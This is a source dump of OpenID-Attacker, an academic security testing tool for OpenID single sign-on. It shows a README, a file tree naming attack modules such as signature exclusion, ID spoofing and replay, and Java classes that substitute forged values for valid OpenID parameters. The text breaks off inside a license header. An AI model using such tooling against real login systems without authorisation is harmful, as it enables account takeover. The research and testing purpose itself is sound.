├── .gitignore ├── LICENSE ├── README.md ├── checkstyle.xml ├── pom.xml └── src ├── main ├── java │ └── wsattacker │ │ └── sso │ │ └── openid │ │ └── attacker │ │ ├── attack │ │ ├── parameter │ │ │ ├── AttackParameter.java │ │ │ ├── AttackParameterHandler.java │ │ │ ├── AttackParameterKeeper.java │ │ │ ├── SearchReplaceAttackParameter.java │ │ │ └── utilities │ │ │ │ ├── AttackValue.java │ │ │ │ ├── HttpMethod.java │ │ │ │ └── SearchReplaceHolder.java │ │ └── profile │ │ │ ├── AttackProfile.java │ │ │ └── AttackProfileContainer.java │ │ ├── bootstrap │ │ └── Bootstrap.java │ │ ├── composition │ │ └── AbstractBean.java │ │ ├── config │ │ ├── OpenIdServerConfiguration.java │ │ ├── ToolConfiguration.java │ │ ├── XmlPersistenceError.java │ │ └── XmlPersistenceHelper.java │ │ ├── controller │ │ └── ServerController.java │ │ ├── discovery │ │ ├── exception │ │ │ └── DiscoveryException.java │ │ ├── html │ │ │ ├── HtmlDiscoveryConfiguration.java │ │ │ └── HtmlDiscoveryGenerator.java │ │ ├── utilities │ │ │ └── DomUtilities.java │ │ └── xrds │ │ │ ├── OpenIdVersion.java │ │ │ ├── XrdsConfiguration.java │ │ │ └── XrdsGenerator.java │ │ ├── evaluation │ │ ├── EvaluationResult.java │ │ ├── EvaluationResultStore.java │ │ ├── ExecutorServices.java │ │ ├── LoginResult.java │ │ ├── SeleniumBrowser.java │ │ ├── ServiceProvider.java │ │ ├── attack │ │ │ ├── AbstractAttack.java │ │ │ ├── Attack.java │ │ │ ├── AttackResult.java │ │ │ ├── AttackWorker.java │ │ │ ├── DiscoverySpoofingAttack.java │ │ │ ├── DtdAttack.java │ │ │ ├── IdSpoofingAttack.java │ │ │ ├── KeyConfusionAttack.java │ │ │ ├── MaliciousMetadataAttack.java │ │ │ ├── ParameterForgeryAttack.java │ │ │ ├── ReplayAttack.java │ │ │ ├── SameIdpDelegationAttack.java │ │ │ ├── SignatureExclusionAttack.java │ │ │ └── TokenRecipientConfusionAttack.java │ │ ├── report │ │ │ ├── HtmlOutput.java │ │ │ └── SvgOutput.java │ │ ├── strategies │ │ │ ├── DetermineUserStrategy.java │ │ │ ├── InjectJavaScriptLoginStrategy.java │ │ │ ├── LengthDeviationAndCountingMatchesStrategy.java │ │ │ ├── LevenshteinAndCountingMatchesStrategy.java │ │ │ ├── LoginStrategy.java │ │ │ └── StringSimilarityCallable.java │ │ └── training │ │ │ ├── Training.java │ │ │ ├── TrainingResult.java │ │ │ └── TrainingWorker.java │ │ ├── gui │ │ ├── MainGui.form │ │ ├── MainGui.java │ │ ├── ServerStatusToIconConverter.java │ │ ├── attack │ │ │ ├── AbstractAttackParameterGui.java │ │ │ ├── AttackOverviewGui.form │ │ │ ├── AttackOverviewGui.java │ │ │ ├── AttackParameterGui.form │ │ │ ├── AttackParameterGui.java │ │ │ ├── AttackParameterGuiFactory.java │ │ │ ├── SearchReplaceAttackParameterGui.form │ │ │ └── SearchReplaceAttackParameterGui.java │ │ ├── discovery │ │ │ ├── html │ │ │ │ ├── HtmlConfigurationGui.form │ │ │ │ └── HtmlConfigurationGui.java │ │ │ └── xrds │ │ │ │ ├── XrdsConfigurationGui.form │ │ │ │ └── XrdsConfigurationGui.java │ │ ├── evaluation │ │ │ ├── EvaluationGui.form │ │ │ ├── EvaluationGui.java │ │ │ ├── ReportGui.form │ │ │ └── ReportGui.java │ │ ├── log │ │ │ ├── LogGui.form │ │ │ ├── LogGui.java │ │ │ ├── SelectedRequestConverter.java │ │ │ └── SelectedResponseConverter.java │ │ ├── profile │ │ │ ├── ProfileGui.form │ │ │ ├── ProfileGui.java │ │ │ ├── SelectedDescriptionConverter.java │ │ │ └── SelectedNameConverter.java │ │ ├── server │ │ │ ├── DateRenderer.java │ │ │ ├── IdpTypeRenderer.java │ │ │ ├── ServerConfigurationGui.form │ │ │ ├── ServerConfigurationGui.java │ │ │ ├── StartButtonColorConverter.java │ │ │ └── TypeRenderer.java │ │ ├── user │ │ │ ├── AttackDataGui.form │ │ │ ├── AttackDataGui.java │ │ │ ├── ValidDataGui.form │ │ │ └── ValidDataGui.java │ │ └── utilities │ │ │ └── XmlFileFilter.java │ │ ├── log │ │ ├── RequestLogEntry.java │ │ ├── RequestLogger.java │ │ ├── RequestType.java │ │ └── utilities │ │ │ └── PrintHelper.java │ │ ├── message │ │ ├── OpenIdElementNames.java │ │ └── OpenIdNamespaces.java │ │ ├── server │ │ ├── IdpType.java │ │ ├── OpenIdServer.java │ │ ├── buisinesslogic │ │ │ ├── CustomInMemoryServerAssociationStore.java │ │ │ ├── CustomOpenIdProcessor.java │ │ │ └── CustomOpenIdProviderHandler.java │ │ ├── exception │ │ │ └── OpenIdAttackerServerException.java │ │ ├── status │ │ │ └── Status.java │ │ └── utilities │ │ │ ├── HttpPostRedirect.java │ │ │ ├── UnvalidatedAuthRequest.java │ │ │ └── UnvalidatedAuthSuccess.java │ │ └── user │ │ ├── User.java │ │ ├── UserData.java │ │ ├── UserDataCollector.java │ │ └── persistence │ │ └── XmlListAdapter.java └── resources │ ├── adblock_firefox.xpi │ ├── attack.svg │ ├── bootstrap.min.css │ ├── play.png │ ├── post-redirect.html │ ├── screen.css │ ├── stop.png │ ├── template.html │ └── xrds.xml └── test ├── java └── wsattacker │ └── sso │ └── openid │ └── attacker │ ├── attack │ ├── AttackParameterHandlerTest.java │ ├── parameter │ │ ├── AttackParameterKeeperTest.java │ │ └── SearchReplaceAttackParameterTest.java │ ├── profile │ │ └── AttackProfileContainerTest.java │ └── utilities │ │ └── AttackValueTest.java │ ├── discovery │ ├── html │ │ └── HtmlDiscoveryGeneratorTest.java │ └── xrds │ │ └── XrdsGeneratorTest.java │ ├── evaluation │ └── DtdAttackTest.java │ └── server │ ├── buisinesslogic │ └── CustomOpenIdProcessorTest.java │ └── utilities │ └── HttpPostRedirectTest.java └── resources └── xrds ├── xrds.xml ├── xrds_10.xml ├── xrds_11.xml └── xrds_20.xml /.gitignore: -------------------------------------------------------------------------------- 1 | target/ 2 | pom.xml.tag 3 | pom.xml.releaseBackup 4 | pom.xml.versionsBackup 5 | pom.xml.next 6 | release.properties 7 | nbactions.xml 8 | openId_config.xml 9 | openId_associations.ser 10 | images 11 | report 12 | training 13 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # OpenID-Attacker 2 | OpenID-Attacker is a free open source security testing tool for the Single Sign-On Protocol OpenID (https://openid.net/specs/openid-authentication-2_0.html). 3 | It is developed by the Chair of Network and Data Security, Ruhr University Bochum (http://nds.rub.de/ ) and the 3curity GmbH (http://3curity.de/ ). 4 | 5 | ## Building 6 | You can build OpenID-Attacker directly from the Github sources. For this purpose, you need: 7 | - Java 8 or higher 8 | - maven 9 | - git 10 | 11 | You procede as follows. You first need to clone OpenID-Attackers sources (you can of course also download a ZIP file): 12 | 13 | ```bash 14 | $ git clone https://github.com/RUB-NDS/OpenID-Attacker.git 15 | ``` 16 | 17 | Then you go to the OpenID-Attacker directory and use maven to build and package the files: 18 | 19 | ```bash 20 | $ cd OpenID-Attacker 21 | $ mvn clean package -DskipTests 22 | ``` 23 | 24 | Afterwards, you are able to go to the runnable directory and execute OpenID-Attacker: 25 | 26 | ```bash 27 | $ cd runnable 28 | $ java -jar OpenID-Attacker-*.jar 29 | ``` 30 | 31 | ## Literature 32 | 33 | - The initial version of OpenID-Attacker is described in http://nds.rub.de/media/ei/arbeiten/2014/12/04/OpenIDAttacker.pdf 34 | - Description of attacks on OpenID can be found in http://nds.rub.de/research/publications/openid/ 35 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/attack/parameter/AttackParameterHandler.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.attack.parameter; 20 | 21 | import java.util.LinkedHashMap; 22 | import java.util.Map; 23 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.HttpMethod; 24 | import wsattacker.sso.openid.attacker.config.OpenIdServerConfiguration; 25 | 26 | final public class AttackParameterHandler { 27 | 28 | private AttackParameterHandler() { 29 | } 30 | 31 | public static void updateValidParameters(AttackParameterKeeper keeper, final Map validParameterMap) { 32 | for (Map.Entry entry : validParameterMap.entrySet()) { 33 | String name = entry.getKey(); 34 | String value = entry.getValue(); 35 | keeper.addOrUpdateParameterValidValue(name, value); 36 | } 37 | } 38 | 39 | public static void updateAttackParameters(AttackParameterKeeper keeper, final Map attackParameterMap) { 40 | for (Map.Entry entry : attackParameterMap.entrySet()) { 41 | String name = entry.getKey(); 42 | String value = entry.getValue(); 43 | AttackParameter p = keeper.getParameter(name); 44 | if (p != null) { 45 | // if (name.equals("openid.sig")) { 46 | p.setAutomaticValue(value); 47 | // } else { 48 | // p.setAttackValue(value); 49 | // } 50 | } 51 | } 52 | } 53 | 54 | public static Map createToSignMap(final AttackParameterKeeper keeper) { 55 | Map result = new LinkedHashMap<>(); 56 | for (AttackParameter parameter : keeper) { 57 | String name = parameter.getName(); 58 | String value; 59 | if (parameter.isAttackValueUsedForSignatureComputation()) { 60 | value = parameter.getAttackValue(); 61 | } else { 62 | value = parameter.getValidValue(); 63 | } 64 | result.put(name, value); 65 | } 66 | return result; 67 | } 68 | 69 | public static Map createMapByMethod(final AttackParameterKeeper keeper, final HttpMethod method) { 70 | return createMapByMethod(keeper, method, OpenIdServerConfiguration.getAttackerInstance().isPerformAttack()); 71 | } 72 | 73 | public static Map createMapByMethod(final AttackParameterKeeper keeper, final HttpMethod method, final boolean attackPerformed) { 74 | Map result = new LinkedHashMap<>(); 75 | for (AttackParameter parameter : keeper) { 76 | // TODO: This is not very nice :) 77 | if (!attackPerformed && method.equals(HttpMethod.GET)) { 78 | result.put(parameter.getName(), parameter.getValidValue()); 79 | } else { 80 | if (attackPerformed && method.equals(parameter.getValidMethod())) { 81 | result.put(parameter.getName(), parameter.getValidValue()); 82 | } 83 | if (attackPerformed && method.equals(parameter.getAttackMethod())) { 84 | result.put(parameter.getName(), parameter.getAttackValue()); 85 | } 86 | } 87 | } 88 | return result; 89 | } 90 | 91 | public static void addCustomParameter(AttackParameterKeeper keeper, String newName) { 92 | if (keeper.hasParameter(newName)) { 93 | throw new IllegalArgumentException(String.format("Parameter '%s' already exist", newName)); 94 | } 95 | String validValue = String.format("Custom Parameter '%s'", newName); 96 | AttackParameter newParameter = keeper.addOrUpdateParameterValidValue(newName, validValue); 97 | newParameter.setValidMethod(HttpMethod.DO_NOT_SEND); 98 | newParameter.setAttackMethod(HttpMethod.GET); 99 | newParameter.setAttackValueUsedForSignatureComputation(true); 100 | newParameter.setAttackValue(validValue); 101 | } 102 | 103 | public static void removeParameter(AttackParameterKeeper keeper, String newName) { 104 | if (!keeper.hasParameter(newName)) { 105 | throw new IllegalArgumentException(String.format("Parameter '%s' does not exist", newName)); 106 | } 107 | keeper.removeParameter(newName); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/attack/parameter/SearchReplaceAttackParameter.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.attack.parameter; 20 | 21 | import java.io.UnsupportedEncodingException; 22 | import java.net.URLEncoder; 23 | import java.util.ArrayList; 24 | import java.util.List; 25 | import java.util.logging.Level; 26 | import java.util.logging.Logger; 27 | import org.jdesktop.observablecollections.ObservableCollections; 28 | import org.jdesktop.observablecollections.ObservableList; 29 | import wsattacker.sso.openid.attacker.attack.parameter.utilities.SearchReplaceHolder; 30 | 31 | public class SearchReplaceAttackParameter extends AttackParameter { 32 | 33 | private List searchReplaceList; 34 | public static final String PROP_SEARCHREPLACELIST = "searchReplaceList"; 35 | 36 | /** 37 | * Get the value of searchReplaceList 38 | * 39 | * @return the value of searchReplaceList 40 | */ 41 | public List getSearchReplaceList() { 42 | return searchReplaceList; 43 | } 44 | 45 | /** 46 | * Set the value of searchReplaceList 47 | * 48 | * @param searchReplaceList new value of searchReplaceList 49 | */ 50 | public void setSearchReplaceList(List searchReplaceList) { 51 | List oldSearchReplaceList = this.searchReplaceList; 52 | this.searchReplaceList = searchReplaceList; 53 | firePropertyChange(PROP_SEARCHREPLACELIST, oldSearchReplaceList, searchReplaceList); 54 | } 55 | 56 | public SearchReplaceAttackParameter() { 57 | super(); 58 | List listToObserve = new ArrayList<>(); 59 | ObservableList observableList = ObservableCollections.observableList(listToObserve); 60 | this.searchReplaceList = observableList; 61 | } 62 | 63 | @Override 64 | public String getAttackValue() { 65 | String result; 66 | if (!searchReplaceList.isEmpty()) { 67 | result = applySearchReplaceList(); 68 | } else { 69 | result = super.getAttackValue(); 70 | } 71 | return result; 72 | } 73 | 74 | private String applySearchReplaceList() { 75 | String result = super.getValidValue(); 76 | for (SearchReplaceHolder srh : searchReplaceList) { 77 | String search = maybeUrlEncode(srh, srh.getSearch()); 78 | String replace = maybeUrlEncode(srh, srh.getReplace()); 79 | result = result.replace(search, replace); 80 | } 81 | return result; 82 | } 83 | 84 | private String maybeUrlEncode(SearchReplaceHolder srh, String toEncode) throws IllegalStateException { 85 | if (srh.isUrlEncode()) { 86 | try { 87 | toEncode = URLEncoder.encode(toEncode, "utf-8"); 88 | } catch (UnsupportedEncodingException ex) { 89 | Logger.getLogger(getClass().getName()).log(Level.SEVERE, null, ex); 90 | throw new IllegalStateException("This should never happen", ex); 91 | } 92 | } 93 | return toEncode; 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/attack/parameter/utilities/AttackValue.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.attack.parameter.utilities; 20 | 21 | import java.io.Serializable; 22 | import java.util.Objects; 23 | 24 | public class AttackValue implements Serializable { 25 | 26 | private boolean enableUserValue = false; 27 | private String userValue = null; 28 | private String automaticValue = "attackAutomaticValue"; 29 | 30 | /** 31 | * Get the value of enableUserValue 32 | * 33 | * @return the value of enableUserValue 34 | */ 35 | public boolean isEnableUserValue() { 36 | return enableUserValue; 37 | } 38 | 39 | /** 40 | * Set the value of attackEnabled 41 | * 42 | * @param enableUserValue new value of enableUserValue 43 | */ 44 | public void setEnableUserValue(boolean enableUserValue) { 45 | this.enableUserValue = enableUserValue; 46 | } 47 | 48 | /** 49 | * Get the value of userValue 50 | * 51 | * @return the value of userValue 52 | */ 53 | public String getUserValue() { 54 | // if user value is not yet set, copy it from automatic value 55 | if (this.userValue == null) { 56 | this.userValue = automaticValue; 57 | } 58 | return userValue; 59 | } 60 | 61 | /** 62 | * Set the value of userValue 63 | * 64 | * @param userValue new value of userValue 65 | */ 66 | public void setUserValue(String userValue) { 67 | this.userValue = userValue; 68 | } 69 | 70 | /** 71 | * Get the value of automaticValue 72 | * 73 | * @return the value of automaticValue 74 | */ 75 | public String getAutomaticValue() { 76 | return automaticValue; 77 | } 78 | 79 | /** 80 | * Set the value of automaticValue 81 | * 82 | * @param automaticValue new value of automaticValue 83 | */ 84 | public void setAutomaticValue(String automaticValue) { 85 | this.automaticValue = automaticValue; 86 | } 87 | 88 | @Override 89 | public String toString() { 90 | return "AttackValue{" + "attackEnabled=" + enableUserValue + ", userValue=" + userValue + ", automaticValue=" + automaticValue + '}'; 91 | } 92 | 93 | public String getCurrentValue() { 94 | String result; 95 | if (isEnableUserValue()) { 96 | result = getUserValue(); 97 | } else { 98 | result = getAutomaticValue(); 99 | } 100 | return result; 101 | } 102 | 103 | public void setCurrentValue(String value) { 104 | if (isEnableUserValue()) { 105 | setUserValue(value); 106 | } else { 107 | setAutomaticValue(value); 108 | } 109 | } 110 | 111 | @Override 112 | public int hashCode() { 113 | int hash = 7; 114 | hash = 31 * hash + (this.enableUserValue ? 1 : 0); 115 | hash = 31 * hash + Objects.hashCode(this.userValue); 116 | hash = 31 * hash + Objects.hashCode(this.automaticValue); 117 | return hash; 118 | } 119 | 120 | @Override 121 | public boolean equals(Object obj) { 122 | if (obj == null) { 123 | return false; 124 | } 125 | if (getClass() != obj.getClass()) { 126 | return false; 127 | } 128 | final AttackValue other = (AttackValue) obj; 129 | if (this.enableUserValue != other.enableUserValue) { 130 | return false; 131 | } 132 | if (!Objects.equals(this.userValue, other.userValue)) { 133 | return false; 134 | } 135 | if (!Objects.equals(this.automaticValue, other.automaticValue)) { 136 | return false; 137 | } 138 | return true; 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/attack/parameter/utilities/HttpMethod.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.attack.parameter.utilities; 20 | 21 | import java.io.Serializable; 22 | 23 | public enum HttpMethod implements Serializable { 24 | 25 | GET("GET"), POST("POST"), DO_NOT_SEND("Don't send"); 26 | private String representation; 27 | 28 | private HttpMethod(String representation) { 29 | this.representation = representation; 30 | } 31 | 32 | @Override 33 | public String toString() { 34 | return representation; 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/attack/parameter/utilities/SearchReplaceHolder.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.attack.parameter.utilities; 20 | 21 | import javax.xml.bind.annotation.XmlRootElement; 22 | import wsattacker.sso.openid.attacker.composition.AbstractBean; 23 | 24 | @XmlRootElement(name = "SearchReplace") 25 | public class SearchReplaceHolder extends AbstractBean { 26 | 27 | public static final String PROP_SEARCH = "search"; 28 | public static final String PROP_REPLACE = "replace"; 29 | public static final String PROP_URLENCODE = "urlEncode"; 30 | private String search = ""; 31 | private String replace = ""; 32 | private boolean urlEncode = true; 33 | 34 | public SearchReplaceHolder() { 35 | } 36 | 37 | public SearchReplaceHolder(String search, String replace, boolean urlEncode) { 38 | this(); 39 | this.search = search; 40 | this.replace = replace; 41 | this.urlEncode = urlEncode; 42 | } 43 | 44 | /** 45 | * Get the value of urlEncode 46 | * 47 | * @return the value of urlEncode 48 | */ 49 | public boolean isUrlEncode() { 50 | return urlEncode; 51 | } 52 | 53 | /** 54 | * Set the value of urlEncode 55 | * 56 | * @param urlEncode new value of urlEncode 57 | */ 58 | public void setUrlEncode(boolean urlEncode) { 59 | boolean oldUrlEncode = this.urlEncode; 60 | this.urlEncode = urlEncode; 61 | firePropertyChange(PROP_URLENCODE, oldUrlEncode, urlEncode); 62 | } 63 | 64 | /** 65 | * Get the value of replace 66 | * 67 | * @return the value of replace 68 | */ 69 | public String getReplace() { 70 | return replace; 71 | } 72 | 73 | /** 74 | * Set the value of replace 75 | * 76 | * @param replace new value of replace 77 | */ 78 | public void setReplace(String replace) { 79 | String oldReplace = this.replace; 80 | this.replace = replace; 81 | firePropertyChange(PROP_REPLACE, oldReplace, replace); 82 | } 83 | 84 | /** 85 | * Get the value of search 86 | * 87 | * @return the value of search 88 | */ 89 | public String getSearch() { 90 | return search; 91 | } 92 | 93 | /** 94 | * Set the value of search 95 | * 96 | * @param search new value of search 97 | */ 98 | public void setSearch(String search) { 99 | String oldSearch = this.search; 100 | this.search = search; 101 | firePropertyChange(PROP_SEARCH, oldSearch, search); 102 | } 103 | } 104 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/attack/profile/AttackProfile.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.attack.profile; 20 | 21 | import java.lang.reflect.InvocationTargetException; 22 | import javax.xml.bind.annotation.XmlElement; 23 | import javax.xml.bind.annotation.XmlRootElement; 24 | import org.apache.commons.beanutils.BeanUtils; 25 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper; 26 | import wsattacker.sso.openid.attacker.composition.AbstractBean; 27 | 28 | @XmlRootElement(name = "Profile") 29 | public class AttackProfile extends AbstractBean { 30 | 31 | private String name = "Profile Name"; 32 | public static final String PROP_NAME = "name"; 33 | private String description = "Profile Description"; 34 | public static final String PROP_DESCRIPTION = "description"; 35 | private AttackParameterKeeper configuration = new AttackParameterKeeper(); 36 | public static final String PROP_CONFIGURATION = "configuration"; 37 | 38 | /** 39 | * Get the value of configuration 40 | * 41 | * @return the value of configuration 42 | */ 43 | @XmlElement(name = "Configuration") 44 | public AttackParameterKeeper getConfiguration() { 45 | return configuration; 46 | } 47 | 48 | /** 49 | * Set the value of configuration 50 | * 51 | * @param configuration new value of configuration 52 | */ 53 | private void setConfiguration(AttackParameterKeeper configuration) { 54 | AttackParameterKeeper oldConfiguration = this.configuration; 55 | this.configuration = configuration; 56 | firePropertyChange(PROP_CONFIGURATION, oldConfiguration, configuration); 57 | } 58 | 59 | /** 60 | * Get the value of description 61 | * 62 | * @return the value of description 63 | */ 64 | public String getDescription() { 65 | return description; 66 | } 67 | 68 | /** 69 | * Set the value of description 70 | * 71 | * @param description new value of description 72 | */ 73 | public void setDescription(String description) { 74 | String oldDescription = this.description; 75 | this.description = description; 76 | firePropertyChange(PROP_DESCRIPTION, oldDescription, description); 77 | } 78 | 79 | /** 80 | * Get the value of name 81 | * 82 | * @return the value of name 83 | */ 84 | public String getName() { 85 | return name; 86 | } 87 | 88 | /** 89 | * Set the value of name 90 | * 91 | * @param name new value of name 92 | */ 93 | public void setName(String name) { 94 | String oldName = this.name; 95 | this.name = name; 96 | firePropertyChange(PROP_NAME, oldName, name); 97 | } 98 | 99 | public void updateConfiguration(AttackParameterKeeper configuration) { 100 | AttackParameterKeeper newConfiguration = new AttackParameterKeeper(); 101 | try { 102 | BeanUtils.copyProperties(newConfiguration, configuration); 103 | } catch (IllegalAccessException | InvocationTargetException ex) { 104 | throw new IllegalStateException("Could not update configuration", ex); 105 | } 106 | setConfiguration(newConfiguration); 107 | } 108 | } 109 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/attack/profile/AttackProfileContainer.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. 18 | */ 19 | package wsattacker.sso.openid.attacker.attack.profile; 20 | 21 | import java.io.Serializable; 22 | import java.lang.reflect.InvocationTargetException; 23 | import java.util.ArrayList; 24 | import java.util.List; 25 | import javax.xml.bind.annotation.XmlAccessType; 26 | import javax.xml.bind.annotation.XmlAccessorType; 27 | import javax.xml.bind.annotation.XmlElement; 28 | import javax.xml.bind.annotation.XmlRootElement; 29 | import org.apache.commons.beanutils.BeanUtils; 30 | import org.jdesktop.observablecollections.ObservableCollections; 31 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameter; 32 | import wsattacker.sso.openid.attacker.attack.parameter.AttackParameterKeeper; 33 | 34 | @XmlRootElement(name = "AttackProfileConfigurations") 35 | @XmlAccessorType(XmlAccessType.NONE) 36 | public class AttackProfileContainer implements Serializable { 37 | 38 | public List profileList = ObservableCollections.observableList(new ArrayList()); 39 | 40 | public AttackProfileContainer() { 41 | } 42 | 43 | @XmlElement(name = "AttackProfile") 44 | public List getProfileList() { 45 | return profileList; 46 | } 47 | 48 | public void saveProfile(final String name, final String description, final AttackParameterKeeper configuration) { 49 | AttackProfile newProfile = new AttackProfile(); 50 | newProfile.setName(name); 51 | newProfile.setDescription(description); 52 | newProfile.updateConfiguration(configuration); 53 | profileList.add(newProfile); 54 | } 55 | 56 | public void updateProfile(final int index, final String name, final String description) { 57 | AttackProfile toUpdate = profileList.get(index); 58 | toUpdate.setName(name); 59 | toUpdate.setDescription(description); 60 | } 61 | 62 | public void updateProfile(final int index, final String name, final String description, final AttackParameterKeeper configuration) { 63 | updateProfile(index, name, description); 64 | AttackProfile toUpdate = profileList.get(index); 65 | toUpdate.updateConfiguration(configuration); 66 | } 67 | 68 | public void deleteProfile(final int index) { 69 | profileList.remove(index); 70 | } 71 | 72 | public void loadProfile(AttackParameterKeeper toUpdate, final int index) { 73 | AttackProfile profile = profileList.get(index); 74 | AttackParameterKeeper configuration = profile.getConfiguration(); 75 | for (AttackParameter readParameter : configuration) { 76 | AttackParameter originalParameter = toUpdate.getParameter(readParameter.getName()); 77 | if (originalParameter != null) { 78 | try { 79 | BeanUtils.copyProperties(originalParameter, readParameter); 80 | } catch (IllegalAccessException | InvocationTargetException ex) { 81 | throw new IllegalStateException("Could not load configuration", ex); 82 | } 83 | } else { 84 | toUpdate.addParameter(readParameter); 85 | } 86 | } 87 | } 88 | } 89 | -------------------------------------------------------------------------------- /src/main/java/wsattacker/sso/openid/attacker/bootstrap/Bootstrap.java: -------------------------------------------------------------------------------- 1 | /* 2 | * OpenID Attacker 3 | * (C) 2015 Christian Mainka & Christian Koßmann 4 | * 5 | * This program is free software; you can redistribute it and/or modify it under 6 | * the terms of the GNU General Public License as published by the Free Software 7 | * Foundation; either version 2 of the License, or (at your option) any later 8 | * version. 9 | * 10 | * This program is distributed in the hope that it will be useful, but WITHOUT 11 | * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 12 | * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more 13 | * details. 14 | * 15 | * You should have received a copy of the GNU General Public License along with 16 | * this program; if not, write to the Free Software Foundation, Inc., 51 17 | * Franklin Street, Fifth Floor, Boston, MA 